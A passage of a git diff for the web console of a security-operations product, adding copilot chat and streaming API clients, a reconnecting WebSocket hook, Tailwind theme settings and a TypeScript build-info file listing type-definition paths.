string;+ updatedAt: string;+ messageCount: number;+}++export interface CopilotChatRequest {+ conversationId?: string;+ message: string;+ /** Optional context the user is currently looking at. */+ context?: {+ alertId?: string;+ caseId?: string;+ entity?: string;+ page?: string;+ };+}++export interface CopilotChatResponse {+ conversationId: string;+ reply: CopilotMessage;+}++export const copilotApi = {+ listConversations: () =>+ request<{ conversations: CopilotConversation[] }>(+ '/api/v1/copilot/conversations',+ ),++ getConversation: (id: string) =>+ request<{ id: string; title: string; messages: CopilotMessage[] }>(+ `/api/v1/copilot/conversations/${id}`,+ ),++ /** One-shot chat call. UI should support optimistic append + rollback. */+ chat: (req: CopilotChatRequest) =>+ request<CopilotChatResponse>('/api/v1/copilot/chat', {+ method: 'POST',+ body: JSON.stringify(req),+ }),++ /**+ * Stream a chat response as NDJSON (one JSON object per line, with+ * `{ delta?: string, done?: boolean, citations?, suggestions? }`).+ * Callers should consume via `Response.body.getReader()`.+ */+ streamChat: (req: CopilotChatRequest, signal?: AbortSignal) =>+ fetch(`${API_BASE}/api/v1/copilot/chat/stream`, {+ method: 'POST',+ headers: {+ 'Content-Type': 'application/json',+ 'X-Tenant-Id': TENANT_ID,+ },+ body: JSON.stringify(req),+ signal,+ }),+};++// ─── Realtime / WebSocket helpers ────────────────────────────────────────────++export const realtimeApi = {+ /** Returns a ready-to-open WebSocket URL for the given channel. */+ channelUrl(channel: 'alerts' | 'cases' | 'agents' | 'all') {+ return `${WS_BASE}/ws/${channel}?tenant_id=${encodeURIComponent(TENANT_ID)}`;+ },++ /** Health endpoint of the realtime gateway, useful for status pages. */+ health: () =>+ request<{ status: string; clients: number }>('/healthz', {+ baseUrl: REALTIME_BASE,+ }),};export default {@@ -318,4 +819,9 @@ export default {connectors: connectorsApi,threatIntel: threatIntelApi,agents: agentsApi,+ hunt: huntApi,+ graph: graphApi,+ detection: detectionApi,+ copilot: copilotApi,+ realtime: realtimeApi,};diff --git a/apps/web/src/lib/realtime.ts b/apps/web/src/lib/realtime.tsnew file mode 100644index 000000000..41ab9536b--- /dev/null+++ b/apps/web/src/lib/realtime.ts@@ -0,0 +1,125 @@+/**+ * Realtime WebSocket client for AiSOC.+ *+ * Wraps the `realtime` service (port 8086) with a small typed hook that+ * handles automatic reconnection, JSON parsing, and channel subscription.+ *+ * Usage:+ *+ * const { last, send, status } = useRealtimeChannel<Alert>('alerts');+ *+ * The hook returns the latest decoded message plus a `send` callback for+ * outbound control frames (subscribe / unsubscribe / ping).+ */++'use client';++import { useEffect, useRef, useState } from 'react';+import { realtimeApi } from './api';++export type RealtimeChannel = 'alerts' | 'cases' | 'agents' | 'all';+export type RealtimeStatus =+ | 'connecting'+ | 'open'+ | 'closing'+ | 'closed'+ | 'error';++interface UseRealtimeOptions {+ /** When false the hook is a no-op — useful for SSR / disabled features. */+ enabled?: boolean;+ /** Override the URL (e.g. tests). Defaults to `realtimeApi.channelUrl`. */+ url?: string;+ /** Reconnect backoff cap in ms. */+ maxBackoffMs?: number;+}++interface UseRealtimeResult<T> {+ status: RealtimeStatus;+ last: T | null;+ history: T[];+ send: (message: unknown) => void;+ reset: () => void;+}++const DEFAULT_HISTORY = 50;++export function useRealtimeChannel<T = unknown>(+ channel: RealtimeChannel,+ options: UseRealtimeOptions = {},+): UseRealtimeResult<T> {+ const { enabled = true, url, maxBackoffMs = 15_000 } = options;+ const [status, setStatus] = useState<RealtimeStatus>('connecting');+ const [last, setLast] = useState<T | null>(null);+ const [history, setHistory] = useState<T[]>([]);+ const wsRef = useRef<WebSocket | null>(null);+ const reconnectRef = useRef<number>(0);+ const cancelRef = useRef(false);++ useEffect(() => {+ if (!enabled || typeof window === 'undefined') return;+ cancelRef.current = false;++ function connect() {+ if (cancelRef.current) return;+ const target = url ?? realtimeApi.channelUrl(channel);+ setStatus('connecting');++ const ws = new WebSocket(target);+ wsRef.current = ws;++ ws.onopen = () => {+ reconnectRef.current = 0;+ setStatus('open');+ };++ ws.onmessage = (event) => {+ try {+ const data = JSON.parse(event.data) as T;+ setLast(data);+ setHistory((prev) => {+ const next = [data, ...prev];+ return next.slice(0, DEFAULT_HISTORY);+ });+ } catch {+ // Non-JSON frames are silently dropped — surface as last-string?+ }+ };++ ws.onerror = () => setStatus('error');++ ws.onclose = () => {+ setStatus('closed');+ if (cancelRef.current) return;+ const attempt = reconnectRef.current + 1;+ reconnectRef.current = attempt;+ const delay = Math.min(1000 * 2 ** Math.min(attempt, 6), maxBackoffMs);+ window.setTimeout(connect, delay);+ };+ }++ connect();++ return () => {+ cancelRef.current = true;+ const ws = wsRef.current;+ if (ws && ws.readyState === WebSocket.OPEN) {+ setStatus('closing');+ ws.close();+ }+ };+ }, [channel, enabled, url, maxBackoffMs]);++ function send(message: unknown) {+ const ws = wsRef.current;+ if (!ws || ws.readyState !== WebSocket.OPEN) return;+ ws.send(typeof message === 'string' ? message : JSON.stringify(message));+ }++ function reset() {+ setLast(null);+ setHistory([]);+ }++ return { status, last, history, send, reset };+}diff --git a/apps/web/tailwind.config.ts b/apps/web/tailwind.config.tsindex ed48c66a3..dec97a45b 100644--- a/apps/web/tailwind.config.ts+++ b/apps/web/tailwind.config.ts@@ -10,14 +10,49 @@ const config: Config = {theme: {extend: {colors: {+ // Primary brand — used for CTAs, links, and active state. Aligned with the+ // logo gradient (sky-400 → blue-700) so the marketing site and console feel+ // like one product.brand: {50: '#eff6ff',100: '#dbeafe',+ 200: '#bfdbfe',+ 300: '#93c5fd',+ 400: '#60a5fa',500: '#3b82f6',600: '#2563eb',700: '#1d4ed8',+ 800: '#1e40af',900: '#1e3a8a',},+ // Surface ramp for the dark console. Avoid raw `gray-*` everywhere — these+ // names communicate intent (page bg, raised card, hover, divider).+ surface: {+ base: '#0a0d14',+ raised: '#11151f',+ card: '#141926',+ hover: '#1a2030',+ subtle: '#0d1119',+ border: 'rgba(148,163,184,0.12)',+ divider: 'rgba(148,163,184,0.08)',+ },+ // Severity scale shared by alerts, cases, dashboard, and detection rules.+ // Wired to the same hex values used in `getAlertSeverityColor()` so a+ // background-class swap stays consistent with text/badge colors.+ severity: {+ critical: '#ef4444',+ high: '#f97316',+ medium: '#eab308',+ low: '#3b82f6',+ info: '#22c55e',+ },+ // Connection / health status — used by LiveFeedPanel, connector cards, etc.+ status: {+ live: '#22c55e',+ warn: '#f59e0b',+ dead: '#ef4444',+ idle: '#64748b',+ },},fontFamily: {sans: ['var(--font-inter)', 'system-ui', 'sans-serif'],@@ -27,14 +62,25 @@ const config: Config = {'gradient-radial': 'radial-gradient(var(--tw-gradient-stops))','grid-pattern':'linear-gradient(rgba(255,255,255,0.03) 1px, transparent 1px), linear-gradient(90deg, rgba(255,255,255,0.03) 1px, transparent 1px)',+ // A second, slightly louder grid for the marketing hero so it can read+ // through a stronger glow without feeling washed out.+ 'grid-hero':+ 'linear-gradient(rgba(96,165,250,0.07) 1px, transparent 1px), linear-gradient(90deg, rgba(96,165,250,0.07) 1px, transparent 1px)',},backgroundSize: {grid: '32px 32px',+ 'grid-lg': '56px 56px',+ },+ boxShadow: {+ 'glow-brand': '0 0 0 1px rgba(96,165,250,0.18), 0 20px 60px -25px rgba(59,130,246,0.55)',+ 'glow-sm': '0 0 0 1px rgba(96,165,250,0.18), 0 10px 30px -12px rgba(59,130,246,0.4)',},animation: {'pulse-slow': 'pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite','fade-in': 'fadeIn 0.3s ease-in-out','slide-up': 'slideUp 0.3s ease-out',+ 'shimmer': 'shimmer 2.4s linear infinite',+ 'orbit-slow': 'orbit 18s linear infinite',},keyframes: {fadeIn: {@@ -45,6 +91,14 @@ const config: Config = {'0%': { transform: 'translateY(8px)', opacity: '0' },'100%': { transform: 'translateY(0)', opacity: '1' },},+ shimmer: {+ '0%': { backgroundPosition: '-200% 0' },+ '100%': { backgroundPosition: '200% 0' },+ },+ orbit: {+ '0%': { transform: 'rotate(0deg)' },+ '100%': { transform: 'rotate(360deg)' },+ },},},},diff --git a/apps/web/tsconfig.tsbuildinfo b/apps/web/tsconfig.tsbuildinfonew file mode 100644index 000000000..e5c4d58b6--- /dev/null+++ b/apps/web/tsconfig.tsbuildinfo@@ -0,0 +1 @@+{"fileNames":["../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es5.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2016.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2017.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2018.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2019.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2021.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2022.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2023.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2024.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.dom.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.dom.iterable.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.core.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.collection.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.generator.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.iterable.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.promise.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.proxy.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.reflect.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.symbol.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2015.symbol.wellknown.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2016.array.include.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2016.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2017.arraybuffer.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2017.date.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2017.object.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2017.sharedmemory.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2017.string.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2017.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2017.typedarrays.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2018.asyncgenerator.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2018.asynciterable.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2018.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2018.promise.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2018.regexp.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2019.array.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2019.object.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2019.string.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2019.symbol.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2019.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.bigint.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.date.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.promise.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.sharedmemory.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.string.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.symbol.wellknown.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2020.number.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2021.promise.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2021.string.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2021.weakref.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2021.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2022.array.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2022.error.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2022.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2022.object.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2022.string.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2022.regexp.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2023.array.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2023.collection.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2023.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2024.arraybuffer.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2024.collection.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2024.object.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2024.promise.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2024.regexp.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2024.sharedmemory.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.es2024.string.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.array.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.collection.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.intl.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.disposable.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.promise.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.decorators.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.iterator.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.float16.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.error.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.esnext.sharedmemory.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.decorators.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/typescript/lib/lib.decorators.legacy.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/source-map-js/source-map.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/previous-map.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/input.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/css-syntax-error.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/declaration.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/root.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/warning.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/lazy-result.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/no-work-result.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/processor.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/result.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/document.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/rule.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/node.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/comment.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/container.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/at-rule.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/list.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/postcss.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/postcss/lib/postcss.d.mts","../../node_modules/.pnpm/[email protected]/node_modules/tailwindcss/types/generated/corepluginlist.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/tailwindcss/types/generated/colors.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/tailwindcss/types/config.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/tailwindcss/types/index.d.ts","./tailwind.config.ts","./src/lib/api.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/react/global.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/csstype/index.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/prop-types/index.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/react/index.d.ts","./src/lib/realtime.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/styled-jsx/types/css.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/styled-jsx/types/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/styled-jsx/types/macro.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/styled-jsx/types/style.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/styled-jsx/types/global.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/amp.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/amp.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/compatibility/disposable.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/compatibility/indexable.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/compatibility/iterators.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/compatibility/index.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/globals.typedarray.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/buffer.buffer.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/globals.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/web-globals/abortcontroller.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/web-globals/domexception.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/web-globals/events.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/header.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/readable.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/file.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/fetch.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/formdata.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/connector.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/client.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/errors.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/dispatcher.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/global-dispatcher.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/global-origin.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/pool-stats.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/pool.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/handlers.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/balanced-pool.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/agent.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/mock-interceptor.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/mock-agent.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/mock-client.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/mock-pool.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/mock-errors.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/proxy-agent.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/env-http-proxy-agent.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/retry-handler.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/retry-agent.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/api.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/interceptors.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/util.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/cookies.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/patch.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/websocket.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/eventsource.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/filereader.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/diagnostics-channel.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/content-type.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/cache.d.ts","../../node_modules/.pnpm/[email protected]/node_modules/undici-types/index.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/web-globals/fetch.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/assert.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/assert/strict.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/async_hooks.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/buffer.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/child_process.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/cluster.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/console.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/constants.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/crypto.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/dgram.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/diagnostics_channel.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/dns.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/dns/promises.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/domain.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/events.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/fs.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/fs/promises.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/http.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/http2.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/https.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/inspector.generated.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/module.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/net.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/os.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/path.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/perf_hooks.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/process.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/punycode.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/querystring.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/readline.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/readline/promises.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/repl.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/sea.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/stream.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/stream/promises.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/stream/consumers.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/stream/web.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/string_decoder.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/test.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/timers.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/timers/promises.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/tls.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/trace_events.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/tty.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/url.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/util.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/v8.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/vm.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/wasi.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/worker_threads.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/zlib.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/node/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/get-page-files.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/react/canary.d.ts","../../node_modules/.pnpm/@[email protected]/node_modules/@types/react/experimental.d.ts","../../node_modules/.pnpm/@[email protected]_@[email protected]/node_modules/@types/react-dom/index.d.ts","../../node_modules/.pnpm/@[email protected]_@[email protected]/node_modules/@types/react-dom/canary.d.ts","../../node_modules/.pnpm/@[email protected]_@[email protected]/node_modules/@types/react-dom/experimental.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/compiled/webpack/webpack.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/config.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/load-custom-routes.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/shared/lib/image-config.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/plugins/subresource-integrity-plugin.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/body-streams.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-kind.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-definitions/route-definition.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/route-matches/route-match.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/client/components/app-router-headers.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/request-meta.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/config-shared.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/base-http/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/api-utils/index.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/node-environment.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/require-hook.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/node-polyfill-crypto.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/lib/page-types.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/analysis/get-page-static-info.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/loaders/get-module-build-info.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/build/webpack/plugins/middleware-plugin.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/lib/revalidate.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/render-result.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/future/helpers/i18n-provider.d.ts","../../node_modules/.pnpm/[email protected][email protected][email protected]/node_modules/next/dist/server/web/next-url.d.ts","../../node_modules/.pnpm/[email protected][email protected][email 